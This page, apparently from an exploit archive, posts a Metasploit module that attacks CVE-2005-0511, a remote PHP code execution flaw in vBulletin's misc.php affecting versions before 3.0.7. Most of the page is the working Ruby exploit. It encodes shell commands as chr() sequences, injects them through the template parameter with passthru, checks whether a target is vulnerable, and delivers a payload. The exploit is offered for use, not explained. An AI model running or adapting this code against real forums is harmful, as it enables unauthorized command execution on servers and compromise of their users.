exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

vBulletin misc.php Template Name Arbitrary Code Execution

vBulletin misc.php Template Name Arbitrary Code Execution
Posted Oct 30, 2009
Authored by str0ke

This Metasploit module exploits an arbitrary PHP code execution flaw in the vBulletin web forum software. This vulnerability is only present when the "Add Template Name in HTML Comments" option is enabled. All versions of vBulletin prior to 3.0.7 are affected.

tags | exploit, web, arbitrary, php, code execution
advisories | CVE-2005-0511
SHA-256 | fa3b7c956cd40ecf976491e6947389c4105b5b3887700ed3c774711a1b161525

vBulletin misc.php Template Name Arbitrary Code Execution

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

# XXX This module needs an overhaul
def initialize(info = {})
super(update_info(info,
'Name' => 'vBulletin misc.php Template Name Arbitrary Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP code execution flaw in
the vBulletin web forum software. This vulnerability is only
present when the "Add Template Name in HTML Comments" option
is enabled. All versions of vBulletin prior to 3.0.7 are
affected.
},
'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'cazz' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' => [
[ 'CVE', '2005-0511'],
[ 'BID', '12622'],
[ 'OSVDB', '14047'],
],
'Privileged' => false,
'Platform' => ['unix', 'solaris'],
'Payload' => {
'Space' => 512,
'DisableNops' => true,
'Keys' => ['cmd', 'cmd_bash'],
},
'Targets' => [ ['Automatic', { }], ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 25 2005'
))


register_options(
[
OptString.new('PATH', [ true, "Path to misc.php", '/forum/misc.php']),
], self.class
)

deregister_options(
'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.
)
end

def go(command)
wrapper = rand_text_alphanumeric(rand(128)+32)

command = "echo #{wrapper};#{command};echo #{wrapper};"
encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')

res = send_request_cgi({
'uri' => datastore['PATH'],
'method' => 'GET',
'vars_get' =>
{
'do' => "page",
'template' => "{${passthru(#{encoded})}}"
}
}, 5)

if (res and res.body)
b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body)
if b
return b.captures[0]
elsif datastore['HTTP::chunked'] == true
b = /chunked Transfer-Encoding forbidden/.match(res.body)
if b
raise RuntimeError, 'Target PHP installation does not support chunked encoding. Support for chunked encoded requests was added to PHP on 12/15/2005, try disabling HTTP::chunked and trying again.'
end
end
end

return nil
end

def check
response = go("echo ownable")
if (!response.nil? and response =~ /ownable/sm)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
response = go(payload.encoded)
if response == nil
print_status('exploit failed')
else
if response.length == 0
print_status('exploit successful')
else
print_status("Command returned #{response}")
end
handler
end
end
end

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close